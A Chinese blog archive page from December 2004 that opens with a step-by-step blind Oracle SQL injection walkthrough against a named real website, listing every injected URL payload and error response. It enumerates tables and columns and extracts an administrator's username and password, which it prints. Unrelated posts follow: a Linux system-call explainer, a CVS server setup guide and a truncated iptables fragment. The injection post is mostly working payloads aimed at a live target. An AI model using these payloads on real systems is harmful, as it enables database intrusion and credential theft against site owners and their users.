2004年12月26日

http://et.kpworld.com/star.asp?performer=马三立;
——————————————————
OraOLEDB 错误 ’80040e14′ ORA-00911: 
invalid character 
/star.asp,行83 

说明过滤了分号。

http://et.kpworld.com/star.asp?performer=马三立’
—————————————————-
OraOLEDB 错误 ’80004005′ ORA-01756: 
括号内的字符串没有正确结束 
/star.asp,行83 

看来存在未过滤单引号问题。

http://et.kpworld.com/star.asp?performer=马三立’ and ’1′=’1
—————————————————————-
闭和他单引号,正常返回。

and 0<>(select count(*) from admin) and  ’1′=’1
—————————————————————–
OraOLEDB 错误 ’80040e37′ ORA-00942: 
table or view does not exist 
/star.asp,行83 

说明不存在ADMIN这个表.
******************************************************************

下面需要知道ORACLE的系统表:

确定表中行的总数:

select num_rows from user_tables where table_name=’表名 ———————-存放当前用户所有表
where table_name=’表名
’selectcolumn_name,
from user_tab_columns ———————–存放所有列
where table_name=’表名’

and 0<>(select count(*) from all_tables) and  ’1′=’1
———————————————————————
存在!
all_tables是一个系统表,用来存放当前ID和其他用户的所有表

and 0<>(select count(*) from user_tables) and  ’1′=’1
———————————————————————

返回。有这个系统表,这个表存放当前用户的所有表

and 0<>(select top 1 table_name from user_tables) and  ’1′=’1
———————————————————————————
OraOLEDB 错误 ’80040e14′ ORA-00923: 
FROM keyword not found where expected 
/star.asp,行83 

不支持TOP 1 ?。。。。。。这种解释好象不太理想。。。
(经过PINKEYES测试已经确定确实不支持TOP 1)

and 0<>(select count(*) from user_tables where table_nam<>”) and  ’1′=’1
——————————————————————————————–

OraOLEDB 错误 ’80040e14′ ORA-00904: 
invalid column name /star.asp,行83

当语法错误时,会显示无效列名字

and 0<>(select count(*) from user_tables where table_name<>””) and ’1′=’1
——————————————————————————————–

语法正确时,成功返回标志,看来四个单引号表示空.接下来是对一些函数的测试:

and 0<>(select count(*) from user_tables where sum(table_name)>1) and ’1′=’1
————————————————————————————————

OraOLEDB 错误 ’80040e14′ ORA-00934: 
group function is not allowed here 
/star.asp,行83 
组函数不允许在这里。

and 0<>(select count(*) from user_tables where avg(table_name)) and ’1′=’1
——————————————————————————————-

OraOLEDB 错误 ’80040e14′ ORA-00934: 
group function is not allowed here /star.asp,行83

组函数不允许在这里。

and 0<>(select to_char(table_name) from user_tables) and%20′1′=’1
————————————————————————–

OraOLEDB 错误 ’80004005′ ORA-01427: 
single-row subquery returns more than one row 
/star.asp,行83 
单行的子查询返回多于一行

and 0<>(select count(*) from user_tables where table_name+1) and%20′1′=’1
————————————————————————–

OraOLEDB 错误 ’80040e14′ ORA-00920: 
invalid relational operator 
/star.asp,行83 

测试到这里,下面看看怎么弄出他的表来:

and 0<>(select count(*) from performer) and%20′1′=’1
—————————————————–

成功返回。这里的表是看前面URL猜的.

and 0<>(select count(*) from user_tables where table_name=’performer’) and%20′1′=’1
————————————————————————————-
没返回。失败标志。

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name=’PERFORMER’) and%20′1′=’1
————————————————————————————————

成功了! 看来这个user_tables表只认识大写字母!

and 0<>(select count(*) from user_tables where length(table_name)>10) and%20′1′=’1
————————————————————————————

用length函数确定最长表的位数

and 0<>(select count(*) from user_tables where length(table_name)=18) and%20′1′=’1
————————————————————————————-

省略若干步骤,最后确定最长表为18位。

and 0<>(select count(*) from user_tables where substr(table_name,1,1)=’A') and%20′1′=’1
—————————————————————————————–

第一位为’A',

and 0<>(select count(*) from user_tables where substr(table_name,1,2)=’AD’) and%20′1′=’1
—————————————————————————————–

第二位为’AD’

and 0<>(select count(*) from user_tables where substr(table_name,1,18)=’ADMINAUTHORIZATION’) and%20′1′=’1
———————————————————————————————
省略若干,18位的表名为’ADMINAUTHORIZATION’。

and 1=(select count(*) from user_tables where table_name=’ADMINAUTHORIZATION’) and%20′1′=’1
——————————————————————————————–
返回。

and 0<>(select count(*) from user_tables where length(table_name)=2) and%20′1′=’1
———————————————————————————-

最小表名长度为2

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25user%25′)%20and%20%20′1′=’1
————————————————————————————————-

没返回。

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25ADMIN%25′)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25PER%25′) and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25BBS%25′)%20and%20′1′=’1
————————————————————————————————-

都成功返回。看来可以利用LIKE猜。

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like’%25BBS%25′%20and%20length(table_name)>8) and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like’%25BBS%25′%20and%20length(table_name)>10)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like’%25BBS%25′%20and%20length(table_name)=10)%20and%20′1′=’1
————————————————————————————————-
利用LIKE和LENGTH组合猜,马上就能确定长度。

and%200<>(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,4)=’BBSS’)%20and%20′1′=’1
————————————————————————————————-
猜出第四位是S。接下来就是重复劳动了。

and%200<>(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,10)=’BBSSUBJECT’)%20and%20′1′=’1
————————————————————————————————-
猜出来了。’BBSSUBJECT’

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’BBSSUBJECT’%20and%20column_name%20like%20′%25USER%25′)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’BBSSUBJECT’%20and%20column_name%20like%20′%25USER%25′)%20and%20′1′=’1
————————————————————————————————-

没返回,不象是保存用户和密码的表。再来。。。

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25USER%25′)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25USER%25′%20and%20length(table_name)>10)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25USER%25′%20and%20length(table_name)>15)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25USER%25′%20and%20length(table_name)=15)%20and%20′1′=’1
————————————————————————————————-

确定长度为15。

and%200<>(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,1)=’U'%20and%20length(table_name)=15)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20substr(table_name,2,1)=’S'%20and%20length(table_name)=15)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20substr(table_name,-4,4)=’USER’%20and%20length(table_name)=15)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20length(table_name)=15%20and%20substr(table_name,-15,15)=’UNSUBSCRIBEUSER’)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name=’UNSUBSCRIBEUSER’)%20and%20′1′=’1
————————————————————————————————-

确定表名’UNSUBSCRIBEUSER’,接下来猜是否有密码字段。。。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’UNSUBSCRIBEUSER’%20and%20column_name%20like%20′%25USER%25′)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’UNSUBSCRIBEUSER’%20and%20column_name%20like%20′%25PASS%25′)%20and%20′1′=’1
————————————————————————————————-
LIKE PASS,没返回,郁闷,继续。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20′%25PASS%25′%20and%20length(table_name)=13)%20and%20′1′=’1
————————————————————————————————-
返回。不准确。

————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,-2,2)=’SS’) and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,6,2)=’SS’)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,4)=’PASS’) and%20′1′=’1
————————————————————————————————-
这里用SUBSTR缩小范围.

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,4)=’PASS’%20and%20length(column_name)=11)%20and%20′1′=’1
————————————————————————————————-

含有PASS字段的字段长度11位。根据上面的从4位开始数4位是PASS 那么PASS前是3位,后是4位,一共是11位。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,8)=’PASSWORD’)%20and%20′1′=’1
————————————————————————————————-

猜一下,果然是。。。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,-11,11)=’STRPASSWORD’)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’%20and%20length(table_name)=13)
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’%20and%20length(table_name)=13)%20and%20′1′=’1
————————————————————————————————-

全返回,确定密码字段名字’STRPASSWORD’。把密码字段抓到就好办了,再利用他抓表名:

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’%20and%20length(table_name)=13) and ’1′=’1
————————————————————————————————-

返回,和上面猜出的表名长度符合。用SUBSTR猜出他名字:

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’%20and%20substr(table_name,1,13)=’ADMINISTRATOR’) and ’1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’%20and%20table_name=’ADMINISTRATOR’) and ’1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name=’ADMINISTRATOR’) and ’1′=’1
————————————————————————————————-

全返回,确定表名为:’ADMINISTRATOR’.

and%208=(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’) and ’1′=’1
————————————————————————————————-

猜出表里有8个字段。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20column_name%20like%20′%25ID%25′)%20and%20′1′=’1
————————————————————————————————-
and%203=(select%20count(*)%20from%20ADMINISTRATOR) and ’1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,4,2)=’ID’)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,-2,2)=’ID’)%20and%20′1′=’1
————————————————————————————————-
可以判断是ID结尾了,长度为5。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,-5,5)=’LNGID’)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20column_name=’LNGID’)%20and%20′1′=’1
————————————————————————————————-
出来了,LNGID。

and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20length(LNGID)=2)%20and%20′1′=’1
————————————————————————————————-
and%208=(select%20min(LNGID)%20from%20ADMINISTRATOR)%20and%20′1′=’1
————————————————————————————————-
and%2021=(select%20max(LNGID)%20from%20ADMINISTRATOR)%20and%20′1′=’1
————————————————————————————————-
最小ID,最大ID也出来,接下来弄密码

and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20length(STRPASSWORD)=4%20and%20LNGID=8)%20and%20′1′=’1
————————————————————————————————-
LNGID为8的密码长度为4

and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,1,1))=116%20and%20LNGID=8)%20and%20′1′=’1
————————————————————————————————-
第一位
and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,2,1))=101%20and%20LNGID=8)%20and%20′1′=’1
————————————————————————————————-
第二位
and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,3,1))=115%20and%20LNGID=8)%20and%20′1′=’1
————————————————————————————————-
第三位
and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,4,1))=116%20and%20LNGID=8)%20and%20′1′=’1
————————————————————————————————-
第四位

STRPASSWORD:test

and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD=’test’%20and%20LNGID=8)%20and%20′1′=’1
————————————————————————————————-

OH,YEAH~~密码出来了。

接着搞用户名:

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20column_name%20like%20′%25NAME%25′)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,4,4)=’NAME’)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,-4,4)=’NAME’)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,1,7)=’STRNAME’)%20and%20′1′=’1
————————————————————————————————-

出来了,字段:STRNAME

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20column_name%20not%20in(‘STRNAME’,'STRPASSWORD’,'LNGID’))%20and%20′1′=’1 
————————————————————————————————-
and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD=’test’%20and%20LNGID=8%20and%20length(STRNAME)=4)%20and%20′1′=’1
————————————————————————————————-
STRNAME值长度为4,不会是和密码相同吧。。。

and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD=’test’%20and%20LNGID=8%20and%20STRNAME=’test’)%20and%20′1′=’1
————————————————————————————————-
呵呵,果然。


表名ADMINISTRATOR,列名:STRNAME,STRPASSWORD,LNGID


LNGID=8 STRNAME=test STRPASSWORD=test

深入理解Linux的系统调用
作者:xinhe
一、 什么是系统调用
在Linux的世界里,我们经常会遇到系统调用这一术语,所谓系统调用,就是内核提供的、功能十分强大的一系列的函数。这些系统调用是在内核中实现的,再通过一定的方式把系统调用给用户,一般都通过门(gate)陷入(trap)实现。系统调用是用户程序和内核交互的接口。

二、 系统调用的作用
系统调用在Linux系统中发挥着巨大的作用,如果没有系统调用,那么应用程序就失去了内核的支持。
我们在编程时用到的很多函数,如fork、open等这些函数最终都是在系统调用里实现的,比如说我们有这样一个程序:

代码::

#include <unistd.h>
#include <stdio.h>
int main()
{
   fork();
   exit(0);
}


这里我们用到了两个函数,即fork和exit,这两函数都是glibc中的函数,但是如果我们跟踪函数的执行过程,看看glibc对fork和exit函数的实现就可以发现在glibc的实现代码里都是采用软中断的方式陷入到内核中再通过系统调用实现函数的功能的。具体过程我们在系统调用的实现过程会详细的讲到。
由此可见,系统调用是用户接口在内核中的实现,如果没有系统调用,用户就不能利用内核。

三、 系统调用的现实及调用过程
详细讲述系统调用的之前也讲一下Linux系统的一些保护机制。
Linux系统在CPU的保护模式下提供了四个特权级别,目前内核都只用到了其中的两个特权级别,分别为“特权级0”和“特权级3”,级别0也就是我们通常所讲的内核模式,级别3也就是我们通常所讲的用户模式。划分这两个级别主要是对系统提供保护。内核模式可以执行一些特权指令和进入用户模式,而用户模式则不能。
这里特别提出的是,内核模式与用户模式分别使用自己的堆栈,当发生模式切换的时候同时要进行堆栈的切换。
每个进程都有自己的地址空间(也称为进程空间),进程的地址空间也分为两部分:用户空间和系统空间,在用户模式下只能访问进程的用户空间,在内核模式下则可以访问进程的全部地址空间,这个地址空间里的地址是一个逻辑地址,通过系统段面式的管理机制,访问的实际内存要做二级地址转换,即:逻辑地址线性地址物理地址。
系统调用对于内核来说就相当于函数,我们是关键问题是从用户模式到内核模式的转换、堆栈的切换以及参数的传递。

下面将结合内核源代码对这些过程进行分析,以下分析环境为FC2,kernel 2.6.5
下面是内核源代码里arch/i386/kernel/entry.S的一段代码

代码::

/* clobbers ebx, edx and ebp */

#define __SWITCH_KERNELSPACE            \
   cmpl $0xff000000, %esp;            \
   jb 1f;                  \
                     \
   /*                  \
    * switch pagetables and load the real stack,   \
    * keep the stack offset:         \
    */                  \
                     \
   movl $swapper_pg_dir-__PAGE_OFFSET, %edx;   \
                     \
   /* GET_THREAD_INFO(%ebp) intermixed */      \
0:                     \
   …………………………………….   \
1:

#endif


#define __SWITCH_USERSPACE \
   /* interrupted any of the user return paths? */   \
                     \
   movl EIP(%esp), %eax;            \
   ………………………………………..   \
   jb 22f; /* yes – switch to virtual stack */   \
   /* return to userspace? */         \
44:                     \
   movl EFLAGS(%esp),%ecx;            \
   movb CS(%esp),%cl;            \
   testl $(VM_MASK | 3),%ecx;         \
   jz 2f;                  \
22:                     \
   /*                  \
    * switch to the virtual stack, then switch to   \
    * the userspace pagetables.         \
    */                  \
                     \
   GET_THREAD_INFO(%ebp);            \
   movl TI_virtual_stack(%ebp), %edx;      \
   movl TI_user_pgd(%ebp), %ecx;         \
                     \
   movl %esp, %ebx;            \
   andl $(THREAD_SIZE-1), %ebx;            \
   orl %ebx, %edx;               \
int80_ret_start_marker:               \
   movl %edx, %esp;             \
   movl %ecx, %cr3;            \
                     \
   __RESTORE_ALL;               \
int80_ret_end_marker:               \
2:

#else /* !CONFIG_X86_HIGH_ENTRY */

#define __SWITCH_KERNELSPACE
#define __SWITCH_USERSPACE

#endif

#define __SAVE_ALL \
……………………………………..

#define __RESTORE_INT_REGS \
………………………….

#define __RESTORE_REGS   \
   __RESTORE_INT_REGS; \
111:   popl %ds;   \
222:   popl %es;   \
.section .fixup,”ax”;   \
444:   movl $0,(%esp);   \
   jmp 111b;   \
555:   movl $0,(%esp);   \
   jmp 222b;   \
.previous;      \
.section __ex_table,”a”;\
   .align 4;   \
   .long 111b,444b;\
   .long 222b,555b;\
.previous

#define __RESTORE_ALL   \
   __RESTORE_REGS   \
   addl $4, %esp;   \
333:   iret;      \
.section .fixup,”ax”;   \
666:   sti;      \
   movl $(__USER_DS), %edx; \
   movl %edx, %ds; \
   movl %edx, %es; \
   pushl $11;   \
   call do_exit;   \
.previous;      \
.section __ex_table,”a”;\
   .align 4;   \
   .long 333b,666b;\
.previous

#define SAVE_ALL \
   __SAVE_ALL;               \
   __SWITCH_KERNELSPACE;

#define RESTORE_ALL               \
   __SWITCH_USERSPACE;            \
   __RESTORE_ALL;


以上这段代码里定义了两个非常重要的宏,即SAVE_ALL和RESTORE_ALL
SAVE_ALL先保存用户模式的寄存器和堆栈信息,然后切换到内核模式,宏__SWITCH_KERNELSPACE实现地址空间的转换RESTORE_ALL的过程过SAVE_ALL的过程正好相反。

在内核原代码里有一个系统调用表:(entry.S的文件里)

代码::

ENTRY(sys_call_table)
   .long sys_restart_syscall   /* 0 – old “setup()” system call, used for restarting */
   .long sys_exit
   .long sys_fork
   .long sys_read
   .long sys_write
   .long sys_open      /* 5 */
   ………………..
   .long sys_mq_timedreceive   /* 280 */
   .long sys_mq_notify
   .long sys_mq_getsetattr

syscall_table_size=(.-sys_call_table)


在2.6.5的内核里,有280多个系统调用,这些系统调用的名称全部在这个系统调用表里。
在这个原文件里,还有非常重要的一段

代码::

ENTRY(system_call)
   pushl %eax         # save orig_eax
   SAVE_ALL
   GET_THREAD_INFO(%ebp)
   cmpl $(nr_syscalls), %eax
   jae syscall_badsys
               # system call tracing in operation
   testb $(_TIF_SYSCALL_TRACE|_TIF_SYSCALL_AUDIT),TI_flags(%ebp)
   jnz syscall_trace_entry
syscall_call:
   call *sys_call_table(,%eax,4)
   movl %eax,EAX(%esp)      # store the return value
syscall_exit:
   cli            # make sure we don’t miss an interrupt
               # setting need_resched or sigpending
               # between sampling and the iret
   movl TI_flags(%ebp), %ecx
   testw $_TIF_ALLWORK_MASK, %cx   # current->work
   jne syscall_exit_work
restore_all:
   RESTORE_ALL


这一段完成系统调用的执行。
system_call函数根据用户传来的系统调用号,在系统调用表里找到对应的系统调用再执行。
从glibc的函数到系统调用还有一个很重要的环节就是系统调用号。
系统调用号的定义在include/asm-i386/unistd.h里

代码::

#define __NR_restart_syscall      0
#define __NR_exit        1
#define __NR_fork        2
#define __NR_read        3
#define __NR_write        4
#define __NR_open        5
#define __NR_close        6
#define __NR_waitpid        7
…………………………………..


每一个系统调用号都对应有一个系统调用
接下来就是系统调用宏的展开
没有参数的系统调用的宏展开

代码::

#define _syscall0(type,name) \
type name(void) \
{ \
long __res; \
__asm__ volatile (“int $0×80″ \
   : “=a” (__res) \
   : “0″ (__NR_##name)); \
__syscall_return(type,__res); \
}


带一个参数的系统调用的宏展开

代码::

#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile (“int $0×80″ \
   : “=a” (__res) \
   : “0″ (__NR_##name),”b” ((long)(arg1))); \
__syscall_return(type,__res); \
}


两个参数

代码::

#define _syscall2(type,name,type1,arg1,type2,arg2) \


三个参数的

代码::

#define _syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \


四个参数的

代码::

#define _syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \


五个参数的

代码::

#define _syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
     type5,arg5) \


六个参数的

代码::

#define _syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
     type5,arg5,type6,arg6) \
_res); \


从这段代码我们可以看出int $0×80通过软中断开触发系统调用,当发生调用时,函数中的name会被系统系统调用名所代替。然后调用前面所讲的system_call。这个过程里包含了系统调用的初始化,系统调用的初始化原代码在:
arch/i386/kernel/traps.c中
每当用户执行int 0×80时,系统进行中断处理,把控制权交给内核的system_call。

整个系统调用的过程可以总结如下:
1. 执行用户程序(如:fork)
2. 根据glibc中的函数实现,取得系统调用号并执行int $0×80产生中断。
3. 进行地址空间的转换和堆栈的切换,执行SAVE_ALL。(进行内核模式)
4. 进行中断处理,根据系统调用表调用内核函数。
5. 执行内核函数。
6. 执行RESTORE_ALL并返回用户模式

解了系统调用的实现及调用过程,我们可以根据自己的需要来对内核的系统调用作修改或添加。

2004年12月23日

    Red Hat Linux 8.0和9.0上测试通过。


服务器的安装略过不提,因为安装了开发工具的话默认就已经有了CVS。就算没有,更新软件包就可以搞定,除非你一定要安装最新版本。


1.首先创建用于CVS的组和用户:

代码:

#groupadd cvs

#useradd cvsroot -g cvs

#passwd cvsroot




OK,用户已经建立好了,cvsroot就是我们做CVS操作使用的。


2.修改配置文件

代码:

#more /etc/services | grep cvspserver




看看是否有

代码:

cvspserver 2401/tcp #CVS client/server operations

cvspserver 2401/udp #CVS client/server operations




这2行。系统自带了CVS时,这2行也已经有了,只需要确认一下。如果没有,请自己加上去。

然后必须创建启动脚本:

代码:

#vi /etc/xinet.d/cvspserver




内容如下

代码:

service cvspserver

{

disable = no

flags = REUSE

socket_type = stream

wait = no

user = root

server = /usr/bin/cvs

server_args = -f –allow-root=/home/cvsroot pserver

log_on_success += USERID

log_on_failure += USERID

}




其中server指定CVS可执行文件路径,默认安装就是/usr/bin/cvs。server_args指定源代码库路径及认证方式等,例子中把源代
码存放在cvsroot的主目录中,也可以另外指定路径,但必须注意权限设置,pserver是密码认证方式,这种方式的安全性要差一些,但操作起来比较
简单。请注意每行等号左右都有一个空格,否则无法启动服务。


3.初始化CVS

切换到cvsroot用户,然后进行初始化:

代码:

#cvs -d /home/cvsroot init




这个路径应该与cvspserver文件中指定的路径相同,初始化后会在此路径下面创建CVSROOT目录,存放用于CVS管理的一些文件。此时重新启动xinetd服务,CVS服务器应该能够启动了。

代码:

#service xinetd restart




当然,重新启动计算机也可以。确认是否启动:

代码:

#netstat -l | grep cvspserver




如果能看到

代码:

tcp 0 0 *:cvspserver *:* LISTEN




说明已经正常启动,没有的话请重新检查配置过程是否有错误或者遗漏。最后还必须检查防火墙的设置,把2401端口打开。


4.用户管理

CVS默认使用系统用户登录,为了系统安全性的考虑也可以使用独立的用户管理。CVS用户名和密码保存在CVSROOT目录下的passwd文件中,格式为:

代码:

用户名:密码:系统用户




也就是说,它把CVS用户映射到系统用户,这样我们就可以通过系统用户的权限设置来分配给用户不同的权限,而不需要让用户知道系统用户名和密码。

passwd文件默认并不存在,我们必须自己创建。文件中的密码字段使用MD5加密,不幸的是CVS没有提供添加用户名的命令,所以我们借用Apache的命令来完成这项工作:

代码:

#htpasswd passwd username




这个命令为username指定密码,并保存在passwd中,文件不存在时会自动创建。htpasswd命令不是为CVS而设,因此总有一些遗憾,它不
能自动添加映射到的用户名,不过没关系,我们设置好密码后,自己把这部分加上。我的做法是映射到cvsroot用户,如果需要映射其他的用户,请注意给相
应的目录设置好权限,否则CVS用户可能无法访问源代码仓库。

要彻底防止使用系统帐号登陆,可以编辑CVSROOT目录下的config文件,把

代码:

#SystemAuth=no




这一行前面的#去掉,CVS就不会验证系统用户了,否则当用户名不在passwd文件中时,CVS会进行系统用户的验证。

此外还必须配置读写权限,使用CVSROOT目录下的readers和writers文件进行这个工作。这2个文件默认也是没有的,没关系,自己创建就可
以了。readers文件记录拥有只读权限的用户名,每行一个用户;writers文件记录拥有读写权限的用户名,也是每行一个用户。注意,
readers文件比writers优先,也就是说出现在readers中的用户将会是只读的,不管writers文件中是否存在该用户。


配置完毕,先测试一下:

代码:

#cvs -d “:pserver:username@127.0.0.1:/home/cvsroot” login




这里假设用户名是username,本机登陆。出现密码提示,输入正确的密码后,登陆成功。如果提示访问被拒绝,请检查用户权限、目录权限以及防火墙设置。建议设置环境变量CVSROOT:

代码:

#export CVSROOT=:pserver:username@127.0.0.1:/home/cvsroot




以后就不需要输入-d参数了,但-d参数会覆盖这个环境变量的设置。


5.源代码仓库的备份和移动

基本上,CVS的源代码仓库没有什么特别之处,完全可以用文件备份的方式进行备份。需要注意的只是,应该确认备份的过程中没有用户提交修改,具体的做法可
以是停止CVS服务器或者使用锁等等。恢复时只需要把这些文件按原来的目录结构存放好,因为CVS的每一个模块都是单独的一个目录,与其他模块和目录没有
任何瓜葛,相当方便。甚至只需要在仓库中删除一个目录或者文件,便可以删除该模块的一些内容,不过并不建议这么做,使用CVS的删除功能将会有一个历史记
录,而对仓库的直接删除不留任何痕迹,这对项目管理是不利的。移动仓库与备份相似,只需要把该模块的目录移动到新的路径,便可以使用了。

如果不幸在备份之后有过一些修改并且执行了提交,当服务器出现问题需要恢复源代码仓库时,开发者提交新的修改就会出现版本不一致的错误。此时只需要把CVS相关的目录和文件删除,即可把新的修改提交。


6.更进一步的管理

CVSROOT目录下还有很多其他功能,其中最重要的就是modules文件。这个文件定义了源代码库的模块,下面是一个例子:

代码:

Linux Linux

Kernel Linux/kernel




这个文件的内容按行排列,每一行定义一个模块,首先是模块名,然后是模块路径,这是相对于CVS根目录的路径。它定义了两个模块,第一个是Linux模块,它位于Linux目录中,第二个是Kernel模块,这是Linux模块的子模块。

modules文件并非必须的,它的作用相当于一个索引,部分CVS客户端软件通过它可以快速找到相应的模块,比如WinCVS。


7.协同开发的问题

默认方式下,CVS允许多个用户编辑同一个文件,这对一个协作良好的团队来说不会有什么问题,因为多个开发者同时修改同一个文件的同一部分是不正常的,这
在项目管理中就应该避免,出现这种情况说明项目组内部没有统一意见。而多个开发者修改文件的不同部分,CVS可以很好的管理。

如果觉得这种方式难以控制,CVS也提供了解决办法,可以使用cvs admin
-l进行锁定,这样一个开发者正在做修改时CVS就不会允许其他用户checkout。这里顺便说明一下文件格式的问题,对于文本格式,CVS可以进行历
史记录比较、版本合并等工作,而二进制文件不支持这个操作,比如word文档、图片等就应该以二进制方式提交。对于二进制方式,由于无法进行合并,在无法
保证只有一个用户修改文件的情况下,建议使用加锁方式进行修改。必须注意的是,修改完毕记得解锁。

从1.6版本开始,CVS引入了监视的概念,这个功能可以让用户随时了解当前谁在修改文件,并且CVS可以自动发送邮件给每一个监视的用户告知最新的更新。


8.建立多个源代码仓库

如果需要管理多个开发组,而这些开发组之间不能互相访问,可以有2个办法:

a.共用一个端口,需要修改cvspserver文件,给server_args指定多个源代码路径,即多个—allow-root参数。由于xinetd的server_args长度有限制,可以在cvspserver文件中把服务器的设置重定向到另外一个文件,如:

代码:

server = /home/cvsroot/cvs.run




然后创建/home/cvsroot/cvs.run文件,该文件必须可执行,内容格式为:

代码:

#!/bin/bash

/usr/bin/cvs -f \

–allow-root=/home/cvsroot/src1 \

–allow-root=/home/cvsroot/src2 \

pserver




注意此时源代码仓库不再是/home/cvsroot,进行初始化的时候要分别对这两个仓库路径进行初始化,而不再对/home/cvsroot路径进行初始化。

b.采用不同的端口提供服务

重复第2步和第3步,为不同的源代码仓库创建不同服务名的启动脚本,并为这些服务名指定不同的端口,初始化时也必须分别进行初始化。

2004年12月22日




用iptables -ADC 来指定链的规则,-A添加 -D删除 -C 修改



iptables – [RI] chain rule num rule-specification[option]


用iptables – RI 通过规则的顺序指定



iptables -D chain rule num[option]


删除指定规则


iptables -[LFZ] [chain][option]


用iptables -LFZ 链名 [选项]



iptables -[NX] chain


用 -NX 指定链



iptables -P chain target[options]


指定链的默认目标



iptables -E old-chain-name new-chain-name


-E 旧的链名 新的链名


用新的链名取代旧的链名


说明


Iptalbes 是用来设置、维护和检查Linux内核的IP包过滤规则的。


可以定义不同的表,每个表都包含几个内部的链,也能包含用户定义的链。每个



